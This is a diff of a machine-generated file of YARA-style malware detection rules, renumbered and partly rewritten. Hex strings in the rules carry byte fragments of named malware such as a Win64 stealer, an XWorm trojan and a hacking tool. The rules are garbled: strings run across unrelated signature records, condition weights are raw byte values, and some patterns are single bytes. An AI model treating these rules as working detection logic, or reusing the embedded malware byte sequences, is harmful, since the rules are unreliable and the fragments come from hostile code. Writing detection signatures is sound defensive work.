+218010,7 @@ rule _InfrastructureShared_17184{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*22536+(#a_11_2 & 1)*3859+(#a_09_3 & 1)*-11683+(#a_24_4 & 1)*0+(#a_4d_5 & 1)*25960) >=6 } -rule _InfrastructureShared_17185{ +rule _InfrastructureShared_18310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -204417,7 +218028,7 @@ rule _InfrastructureShared_17185{ ((#a_41_0 & 1)*20515+(#a_6c_1 & 1)*12081+(#a_61_2 & 1)*14647+(#a_42_3 & 1)*16720+(#a_65_4 & 1)*16687+(#a_65_5 & 1)*29301+(#a_72_6 & 1)*30575+(#a_01_7 & 1)*10243+(#a_43_8 & 1)*-32497) >=6 } -rule _InfrastructureShared_17186{ +rule _InfrastructureShared_18311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -204433,7 +218044,7 @@ rule _InfrastructureShared_17186{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_65_2 & 1)*11859+(#a_2e_3 & 1)*27763+(#a_61_4 & 1)*29251+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_17187{ +rule _InfrastructureShared_18312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -204449,7 +218060,7 @@ rule _InfrastructureShared_17187{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25441+(#a_64_2 & 1)*385+(#a_01_3 & 1)*22888+(#a_54_4 & 1)*18467+(#a_00_5 & 1)*35+(#a_00_6 & 1)*35) >=7 } -rule _InfrastructureShared_17188{ +rule _InfrastructureShared_18313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -204465,7 +218076,7 @@ rule _InfrastructureShared_17188{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*35+(#a_00_2 & 1)*35+(#a_65_3 & 1)*17153+(#a_00_4 & 1)*66+(#a_6f_5 & 1)*384+(#a_01_6 & 1)*7936) >=7 } -rule _InfrastructureShared_17189{ +rule _InfrastructureShared_18314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -204482,7 +218093,7 @@ rule _InfrastructureShared_17189{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_00_2 & 1)*104+(#a_2f_3 & 1)*29486+(#a_73_4 & 1)*385+(#a_00_5 & 1)*25966+(#a_69_6 & 1)*385+(#a_01_7 & 1)*3072) >=8 } -rule _InfrastructureShared_17190{ +rule _InfrastructureShared_18315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -204500,7 +218111,7 @@ rule _InfrastructureShared_17190{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28265+(#a_72_2 & 1)*26478+(#a_61_3 & 1)*28530+(#a_6e_4 & 1)*28787+(#a_70_5 & 1)*17524+(#a_64_6 & 1)*24924+(#a_6f_7 & 1)*25462+(#a_4d_8 & 1)*17153) >=9 } -rule _InfrastructureShared_17191{ +rule _InfrastructureShared_18316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -204517,7 +218128,7 @@ rule _InfrastructureShared_17191{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28500+(#a_79_2 & 1)*29801+(#a_43_3 & 1)*17017+(#a_76_4 & 1)*29548+(#a_63_5 & 1)*29440+(#a_6c_6 & 1)*25632+(#a_5c_8 & 1)*24833) >=10 } -rule _InfrastructureShared_17192{ +rule _InfrastructureShared_18317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -204532,7 +218143,7 @@ rule _InfrastructureShared_17192{ ((#a_4c_0 & 1)*21539+(#a_46_1 & 1)*20992+(#a_65_2 & 1)*25902+(#a_52_5 & 1)*21320+(#a_61_6 & 1)*2048+(#a_66_7 & 1)*21589) >=11 } -rule _InfrastructureShared_17193{ +rule _InfrastructureShared_18318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -204549,7 +218160,7 @@ rule _InfrastructureShared_17193{ ((#a_54_0 & 1)*18467+(#a_5c_2 & 1)*24833+(#a_00_4 & 1)*114+(#a_00_5 & 1)*21581+(#a_00_6 & 1)*116+(#a_74_8 & 1)*400+(#a_90_9 & 1)*-30464+(#a_70_10 & 1)*12082) >=11 } -rule _InfrastructureShared_17194{ +rule _InfrastructureShared_18319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -204560,7 +218171,7 @@ rule _InfrastructureShared_17194{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*50) >=12 } -rule _InfrastructureShared_17195{ +rule _InfrastructureShared_18320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -204571,16 +218182,16 @@ rule _InfrastructureShared_17195{ $a_23_3 = {53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 21 4d 54 42 00 01 00 0d 01 78 6c } //15 $a_76_4 = {65 66 6b 6c 77 69 01 00 0a 01 6c 78 69 72 76 65 72 79 66 6b 01 00 0f 01 78 7a 73 68 72 6e 66 72 65 61 62 78 77 69 62 01 00 0d 01 6c 66 70 6d 61 6e 6c 77 69 67 70 6c 6f 01 00 0d 01 71 6d 76 66 69 75 6a 71 71 67 73 77 62 01 00 0e 01 78 76 6e 70 72 7a 62 71 69 6a 79 64 75 68 01 00 0b 01 65 6b 77 64 63 } //28537 $a_75_5 = {79 01 00 0f 01 7a 6e 70 7a 6f 75 71 65 6b 77 61 66 66 6d 62 01 00 0b 01 6b 74 77 73 74 71 63 79 65 68 62 01 00 0d 01 61 67 6a 61 6a 76 6b 68 65 62 61 6f 73 01 00 0a 01 79 70 61 76 67 67 6b 6a 79 6d 01 00 0c 01 79 6f 66 71 75 75 61 67 79 69 6d 6a 01 00 0d 01 76 62 63 7a 64 6d 68 6e 64 6f 62 6a 68 01 00 0e 01 76 68 69 } //29815 - $a_7a_6 = {74 77 71 78 6a 69 01 00 0f 01 6f 6c 68 62 76 65 62 7a 6a 6d 73 79 6d 64 63 00 00 0a 00 78 24 01 00 28 00 28 00 07 00 21 23 53 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 65 72 73 6e 69 7a 6b 61 2e 41 21 64 68 61 00 0a 00 24 03 68 d7 3a 00 00 51 51 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 } //26735 - $a_01_7 = {b9 } //-28556 - $a_00_9 = {26 03 68 39 38 00 00 6a 00 6a } //144 ̦㥨8樀樀 - $a_e8_10 = {01 04 83 c4 10 90 03 03 0b 5f } //27136 - $a_c0_11 = {90 01 01 b9 07 00 00 00 90 00 0a 00 26 03 68 5a 29 00 00 6a 00 6a 00 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 06 00 00 00 90 00 0a 00 23 03 6a 00 6a 00 6a 00 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 05 00 00 00 90 00 0a 00 23 03 6a 00 6a 00 6a 03 6a 06 e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 04 00 00 00 90 00 0a 00 } //23390 + $a_7a_6 = {74 77 71 78 6a 69 01 00 0f 01 6f 6c 68 62 76 65 62 7a 6a 6d 73 79 6d 64 63 00 00 0a 00 78 24 01 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4c 4d 21 4d 54 42 00 14 00 a8 01 48 c1 e9 1e 48 31 c8 48 b9 b9 e5 e4 1c 6d 47 58 bf 48 0f af c1 48 89 84 24 a0 03 00 00 48 8b } //26735 + $a_03_7 = {00 00 48 8b 8c 24 a0 03 00 00 48 c1 e9 1b 48 31 c8 48 b9 eb 11 31 13 bb 49 d0 94 48 0f af c1 48 89 84 24 a0 03 00 00 48 8b 84 24 a0 03 00 00 48 8b 8c 24 a0 03 00 00 48 c1 e9 1f 48 31 c8 48 89 84 24 98 01 00 00 48 8b 84 24 98 01 00 00 48 89 84 24 c8 02 00 00 8b 84 24 c4 02 00 00 89 84 24 80 01 00 00 48 8b 84 24 c8 02 00 00 48 89 c1 48 c1 e9 20 89 8c 24 84 01 00 00 83 e0 07 48 89 84 24 88 01 00 00 0a 00 4a 01 83 e0 1f 89 84 24 78 01 00 00 83 f8 00 75 0d c7 84 24 30 03 00 00 01 } //9348 + $a_78_9 = {00 00 89 84 24 30 03 00 00 8b 84 24 80 01 00 00 8b 8c 24 30 03 00 00 83 e1 1f 89 c2 d3 ea 89 d1 31 c8 89 84 } //-31605 + $a_00_10 = {00 00 00 } //9252 + $a_00_11 = {28 } //9336 ( condition: - ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*25972+(#a_74_2 & 1)*29276+(#a_23_3 & 1)*15+(#a_76_4 & 1)*28537+(#a_75_5 & 1)*29815+(#a_7a_6 & 1)*26735+(#a_01_7 & 1)*-28556+(#a_00_9 & 1)*144+(#a_e8_10 & 1)*27136+(#a_c0_11 & 1)*23390) >=12 + ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*25972+(#a_74_2 & 1)*29276+(#a_23_3 & 1)*15+(#a_76_4 & 1)*28537+(#a_75_5 & 1)*29815+(#a_7a_6 & 1)*26735+(#a_03_7 & 1)*9348+(#a_78_9 & 1)*-31605+(#a_00_10 & 1)*9252+(#a_00_11 & 1)*9336) >=12 } -rule _InfrastructureShared_17196{ +rule _InfrastructureShared_18321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -204588,21 +218199,34 @@ rule _InfrastructureShared_17196{ $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 41 21 4d 54 42 00 01 00 0d 01 78 6c 79 6f 64 76 67 65 66 6b 6c 77 69 01 00 0a 01 6c 78 69 72 76 65 72 79 66 6b 01 00 0f 01 78 7a 73 68 72 6e 66 72 65 61 62 78 77 69 62 01 00 0d 01 6c 66 70 6d 61 } //18467 $a_69_1 = {70 6c 6f 01 00 0d 01 71 6d 76 66 69 75 6a 71 71 67 73 77 62 01 00 0e 01 78 76 6e 70 72 7a 62 71 69 6a 79 64 75 68 01 00 0b 01 65 6b 77 64 63 77 74 6a 75 68 79 01 00 0f 01 7a 6e 70 7a 6f 75 71 65 6b 77 61 66 66 6d 62 01 00 0b 01 6b 74 77 73 74 71 63 79 65 68 62 01 00 0d 01 61 67 6a 61 6a 76 6b 68 65 62 61 6f 73 01 00 0a 01 79 70 61 76 67 67 6b 6a 79 6d 01 } //27758 $a_79_2 = {66 } //3072 f - $a_61_3 = {79 69 6d 6a 01 00 0d 01 76 62 63 7a 64 6d 68 6e 64 6f 62 6a 68 01 00 0e 01 76 68 69 6f 68 6c 7a 6b 74 77 71 78 6a 69 01 00 0f 01 6f 6c 68 62 76 65 62 7a 6a 6d 73 79 6d 64 63 00 00 0a 00 78 24 01 00 28 00 28 00 07 00 21 23 53 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 65 72 73 6e 69 7a 6b 61 2e 41 21 64 68 61 00 0a 00 24 03 68 } //30065 - $a_0a_5 = {e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 08 00 00 00 90 00 0a 00 26 03 68 39 38 00 00 6a 00 6a 00 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 07 00 00 00 90 00 0a 00 26 03 68 5a 29 00 00 6a 00 6a 00 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 06 } //20817 - $a_03_7 = {6a 00 6a 00 6a 00 6a 0a e8 ?? ?? ?? ?? 83 c4 10 (5f 5e 5b|84 c0 74 ?? b9 05 00 00 00 )} //10 - $a_03_8 = {6a 00 6a 00 6a 03 6a 06 e8 ?? ?? ?? ?? 83 c4 10 (5f 5e 5b|84 c0 74 ?? b9 04 00 00 00 )} //10 - $a_00_9 = {68 ab 3f 00 00 6a 00 6a 00 6a 0a e8 83 c4 10 } //10 - $a_00_10 = {68 ed 42 00 00 6a 00 6a 00 6a 0a e8 83 c4 10 } //10 - $a_25_11 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 44 6f 7a 6c 6f 64 7a 2e 42 21 4d 54 42 00 01 00 ff 03 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 ec 10 65 90 01 08 8b e9 45 33 f6 48 8b 50 18 4c 8b 4a 10 4d 8b 41 30 4d 85 c0 0f 84 90 01 04 41 0f 10 41 58 49 63 40 3c 41 8b d6 4d 8b 09 f3 0f 7f 04 24 46 8b 9c 00 88 00 00 00 45 } //0 - $a_01_12 = {02 48 8b 04 24 48 c1 e8 10 66 44 3b f0 90 01 02 48 8b 4c 24 08 44 0f b7 d0 0f be 01 c1 ca 0d 80 39 61 90 01 02 83 c2 e0 03 d0 48 ff c1 49 83 ea 01 90 01 02 4f 8d 14 18 45 8b de 41 8b 7a 20 49 03 f8 45 39 72 18 90 01 02 8b 37 41 8b de 49 03 f0 48 8d 7f 04 0f be 0e 48 ff c6 c1 cb 0d 03 d9 84 c9 90 01 02 8d 04 13 3b c5 90 01 02 41 ff c3 45 3b 5a 18 90 01 02 e9 90 01 04 41 8b 42 24 43 8d 0c 1b 49 03 c0 0f b7 14 01 41 8b 4a 1c 49 03 } //-9339 - $a_91_13 = {03 c0 90 01 } //-29752 - $a_48_14 = {5c 24 20 48 8b 6c 24 28 90 00 00 00 78 25 01 00 01 00 01 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 45 52 54 2f 49 4d 50 4c 41 4e 54 5f 33 5f 76 31 00 01 00 15 81 01 3e 70 72 6f 63 65 73 73 20 69 73 6e 27 74 20 65 78 69 73 74 3c 01 00 43 81 01 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 3d 22 53 79 73 74 65 6d 20 56 6f 6c 75 6d 65 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 5c 55 53 42 47 75 61 72 64 2e 65 78 65 22 20 69 6e 73 74 61 6c 6c 01 00 53 81 01 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 } //13058 + $a_61_3 = {79 69 6d 6a 01 00 0d 01 76 62 63 7a 64 6d 68 6e 64 6f 62 6a 68 01 00 0e 01 76 68 69 6f 68 6c 7a 6b 74 77 71 78 6a 69 01 00 0f 01 6f 6c 68 62 76 65 62 7a 6a 6d 73 79 6d 64 63 00 00 0a 00 78 24 01 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4c 4d 21 4d 54 42 00 14 00 a8 01 48 c1 e9 1e 48 31 c8 } //30065 + $a_e5_4 = {1c 6d 47 58 bf 48 0f af c1 48 89 84 24 a0 03 00 00 48 8b 84 24 a0 03 00 00 48 8b 8c 24 a0 03 00 00 48 c1 e9 1b 48 31 c8 48 b9 eb 11 31 13 bb 49 d0 94 48 0f af c1 48 89 84 24 a0 03 00 00 48 8b 84 24 a0 03 00 00 48 8b 8c 24 a0 03 00 00 48 c1 e9 1f 48 31 c8 48 89 84 24 98 01 00 00 48 8b 84 24 98 01 00 00 48 89 84 24 c8 02 00 00 8b 84 24 c4 02 00 00 89 84 24 80 01 00 00 48 8b 84 24 c8 02 00 00 48 89 c1 48 c1 e9 20 89 8c 24 84 01 00 00 83 e0 07 48 89 84 24 88 01 00 00 0a 00 4a 01 83 e0 1f 89 84 24 78 01 00 00 83 f8 00 75 0d c7 84 24 30 03 00 00 01 00 00 } //-18104 + $a_8b_5 = {24 78 01 00 00 89 84 24 30 03 00 00 8b 84 } //-5376 + $a_00_6 = {00 } //-32732 + $a_30_7 = {00 00 83 e1 1f 89 c2 d3 ea 89 d1 31 c8 89 84 24 24 03 00 00 00 00 78 24 01 00 28 00 28 00 07 00 21 23 53 4c } //-29557 + $a_52_8 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 65 72 73 6e 69 7a 6b 61 2e 41 21 64 68 61 00 0a 00 24 03 68 d7 3a 00 00 51 51 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 08 00 00 00 } //20550 + $a_00_9 = {26 03 68 39 38 00 00 6a 00 6a } //144 ̦㥨8樀樀 + $a_e8_10 = {01 04 83 c4 10 90 03 03 0b 5f } //27136 + $a_c0_11 = {90 01 01 b9 07 00 00 00 90 00 0a 00 26 03 68 5a 29 00 00 6a 00 6a 00 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 06 00 00 00 90 00 0a 00 23 03 6a 00 6a 00 6a 00 6a 0a e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 05 00 00 00 90 00 0a 00 23 03 6a 00 6a 00 6a 03 6a 06 e8 90 01 04 83 c4 10 90 03 03 0b 5f 5e 5b 84 c0 74 90 01 01 b9 04 00 00 00 90 00 0a 00 } //23390 + $a_ab_12 = {00 00 6a 00 6a 00 6a 0a e8 83 c4 10 90 00 0a 00 11 00 68 ed 42 00 00 6a 00 6a 00 6a 0a e8 83 c4 10 90 00 00 00 78 25 01 00 01 00 01 00 01 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 44 6f 7a 6c 6f 64 7a 2e 42 21 4d 54 42 00 01 00 ff 03 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 ec 10 65 90 } //17 + $a_e9_13 = {33 f6 48 8b 50 18 4c 8b 4a 10 4d 8b 41 30 4d 85 c0 0f 84 90 01 04 41 0f 10 41 58 49 63 40 3c 41 8b d6 4d 8b 09 f3 0f 7f 04 24 46 8b 9c 00 88 00 00 00 45 85 db 90 01 02 48 8b 04 24 48 c1 e8 10 66 44 3b f0 90 01 02 48 8b 4c 24 08 44 0f b7 d0 0f be 01 c1 ca 0d 80 39 61 90 01 02 83 c2 e0 03 d0 48 ff c1 49 83 ea 01 90 01 02 4f 8d 14 18 45 8b de 41 8b 7a 20 49 03 f8 45 39 72 18 90 01 02 8b 37 41 8b de 49 03 f0 48 8d 7f } //2049 + $a_0e_14 = {48 ff c6 c1 cb 0d 03 d9 84 c9 90 01 02 8d 04 13 3b c5 90 01 02 41 ff c3 45 3b 5a 18 90 01 02 e9 90 01 04 41 8b 42 24 43 8d 0c 1b 49 03 c0 0f b7 14 01 41 8b 4a 1c 49 03 c8 8b 04 91 49 03 c0 90 01 02 33 c0 48 8b 5c 24 20 48 8b 6c 24 28 90 00 00 00 78 25 01 00 01 00 01 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 55 53 5f 43 45 52 54 2f 49 4d 50 4c 41 4e 54 5f 33 5f 76 31 00 01 00 15 81 01 3e 70 72 6f 63 65 73 73 20 69 73 6e 27 74 20 65 78 69 73 74 3c 01 00 43 81 01 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 3d 22 53 79 73 74 65 6d 20 56 6f 6c 75 6d 65 20 49 6e } //3844 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27758+(#a_79_2 & 1)*3072+(#a_61_3 & 1)*30065+(#a_0a_5 & 1)*20817+(#a_03_7 & 1)*10+(#a_03_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_25_11 & 1)*0+(#a_01_12 & 1)*-9339+(#a_91_13 & 1)*-29752+(#a_48_14 & 1)*13058) >=15 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27758+(#a_79_2 & 1)*3072+(#a_61_3 & 1)*30065+(#a_e5_4 & 1)*-18104+(#a_8b_5 & 1)*-5376+(#a_00_6 & 1)*-32732+(#a_30_7 & 1)*-29557+(#a_52_8 & 1)*20550+(#a_00_9 & 1)*144+(#a_e8_10 & 1)*27136+(#a_c0_11 & 1)*23390+(#a_ab_12 & 1)*17+(#a_e9_13 & 1)*2049+(#a_0e_14 & 1)*3844) >=15 } -rule _InfrastructureShared_17197{ +rule _InfrastructureShared_18322{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4c 4d 21 4d 54 42 00 14 00 a8 01 48 c1 e9 1e 48 31 c8 48 b9 b9 e5 e4 1c 6d 47 58 bf 48 0f af c1 48 89 84 24 a0 03 00 00 48 8b 84 24 a0 03 00 00 } //21539 + $a_24_1 = {03 00 00 48 c1 e9 1b 48 31 c8 48 b9 eb 11 31 13 bb 49 d0 94 48 0f af c1 48 89 84 24 a0 03 00 00 48 8b 84 24 a0 03 00 00 48 8b 8c 24 a0 03 00 00 48 c1 e9 1f 48 31 c8 48 89 84 24 98 01 00 00 48 8b 84 24 98 01 00 00 48 89 84 24 c8 02 00 00 8b 84 24 c4 02 00 00 89 84 24 80 01 00 00 48 8b 84 24 c8 02 00 00 48 89 c1 48 c1 e9 20 89 8c 24 84 01 00 00 83 e0 07 48 89 84 24 88 01 00 00 0a 00 4a 01 83 e0 1f 89 84 24 78 01 00 00 } //-29880 + condition: + ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-29880) >=30 + +} +rule _InfrastructureShared_18323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 07 00 21 " @@ -204618,7 +218242,7 @@ rule _InfrastructureShared_17197{ ((#a_46_0 & 1)*21283+(#a_39_1 & 1)*806+(#a_01_2 & 1)*29888+(#a_89_3 & 1)*6256+(#a_c1_4 & 1)*9220+(#a_7f_5 & 1)*18672+(#a_74_6 & 1)*28275) >=40 } -rule _InfrastructureShared_17198{ +rule _InfrastructureShared_18324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -204628,7 +218252,7 @@ rule _InfrastructureShared_17198{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_17199{ +rule _InfrastructureShared_18325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -204642,7 +218266,7 @@ rule _InfrastructureShared_17199{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31059+(#a_46_2 & 1)*12592+(#a_69_3 & 1)*9783+(#a_02_4 & 1)*3467) >=1 } -rule _InfrastructureShared_17200{ +rule _InfrastructureShared_18326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -204659,7 +218283,7 @@ rule _InfrastructureShared_17200{ ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*656+(#a_52_2 & 1)*21899+(#a_90_3 & 1)*769+(#a_1b_4 & 1)*21899+(#a_3a_5 & 1)*21587+(#a_72_6 & 1)*29525+(#a_80_7 & 1)*1) >=1 } -rule _InfrastructureShared_17201{ +rule _InfrastructureShared_18327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -204670,7 +218294,7 @@ rule _InfrastructureShared_17201{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*7056) >=2 } -rule _InfrastructureShared_17202{ +rule _InfrastructureShared_18328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -204684,12 +218308,12 @@ rule _InfrastructureShared_17202{ $a_e1_6 = {01 04 74 90 01 01 89 ca f7 d1 c1 ea 90 01 01 31 ea 21 d1 89 cd 8a 16 46 89 e9 84 d2 75 90 01 01 eb 90 01 01 31 ed 39 6c 24 90 01 01 74 90 01 01 8b 6c 24 90 01 01 4f 83 c3 04 83 c0 02 85 ff 75 90 00 01 00 59 02 0f b7 31 66 85 f6 74 90 01 01 83 c1 02 4a 31 c0 89 c7 8d 46 90 01 01 c1 e7 90 01 01 66 83 fe 90 01 01 0f 46 c6 0f b7 c0 01 f8 89 c6 81 e6 90 01 04 74 90 01 01 89 f7 f7 d6 c1 ef } //-5751 $a_31_7 = {21 } //400 ! $a_83_8 = {90 01 01 73 90 01 01 0f b7 31 83 c1 02 66 85 f6 75 90 00 01 00 13 02 31 c0 8b 0c 90 01 01 8a 0c 01 30 0c 07 40 39 c6 75 90 00 00 00 78 25 01 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 41 72 63 68 65 67 69 53 50 00 01 00 34 03 5c 69 73 61 66 65 70 72 6f 74 65 63 74 5c 69 73 61 66 65 6b 72 6e 6c 72 33 5c 90 02 20 5c 69 33 38 36 5c 69 53 61 66 65 4b 72 6e 6c 52 33 2e 70 64 62 90 00 01 00 7a 01 5c 00 52 00 45 00 47 00 49 00 53 00 54 00 52 00 59 00 5c 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 } //-30210 - $a_00_10 = {63 00 65 00 73 00 5c 00 69 00 53 00 61 00 66 00 65 00 4b 00 72 00 6e 00 6c 00 01 00 3c 01 46 61 69 6c 65 64 20 74 6f 20 63 61 6c 6c 20 69 53 61 66 65 50 73 57 69 6e 50 61 74 68 32 4e 74 2c 20 75 6e 69 4e 74 50 61 74 68 20 3d 20 25 77 5a 2c 20 73 74 61 74 75 73 20 3d 20 00 00 78 25 01 00 04 00 04 00 04 00 21 23 41 } //118 + $a_00_10 = {63 00 65 00 73 00 5c 00 69 00 53 00 61 00 66 00 65 00 4b 00 72 00 6e 00 6c 00 01 00 3c 01 46 61 69 6c 65 64 20 74 6f 20 63 61 6c 6c 20 69 53 61 66 65 50 73 57 69 6e 50 61 74 68 32 4e 74 2c 20 75 6e 69 4e 74 50 61 74 68 20 3d 20 25 77 5a 2c 20 73 74 61 74 75 73 20 3d 20 00 00 78 25 01 00 04 00 04 00 02 00 21 23 41 } //118 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*21868+(#a_79_2 & 1)*26988+(#a_4a_3 & 1)*12851+(#a_01_4 & 1)*-28636+(#a_2e_5 & 1)*-30157+(#a_e1_6 & 1)*-5751+(#a_31_7 & 1)*400+(#a_83_8 & 1)*-30210+(#a_00_10 & 1)*118) >=2 } -rule _InfrastructureShared_17203{ +rule _InfrastructureShared_18329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -204701,7 +218325,7 @@ rule _InfrastructureShared_17203{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*257+(#a_63_2 & 1)*16687) >=2 } -rule _InfrastructureShared_17204{ +rule _InfrastructureShared_18330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -204712,7 +218336,17 @@ rule _InfrastructureShared_17204{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*28718) >=3 } -rule _InfrastructureShared_17205{ +rule _InfrastructureShared_18331{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 54 57 5a 21 4d 54 42 00 02 00 93 01 12 0c 28 14 00 00 0a 13 07 11 06 12 07 28 15 00 00 0a 28 11 00 00 0a 13 08 11 08 12 07 28 16 00 00 0a 28 17 00 00 0a 11 08 28 18 00 00 0a } //16675 + condition: + ((#a_46_0 & 1)*16675) >=4 + +} +rule _InfrastructureShared_18332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204725,7 +218359,7 @@ rule _InfrastructureShared_17205{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*11552+(#a_72_2 & 1)*28271+(#a_6c_3 & 1)*21084) >=4 } -rule _InfrastructureShared_17206{ +rule _InfrastructureShared_18333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -204738,7 +218372,7 @@ rule _InfrastructureShared_17206{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*112+(#a_00_2 & 1)*48+(#a_00_3 & 1)*106) >=4 } -rule _InfrastructureShared_17207{ +rule 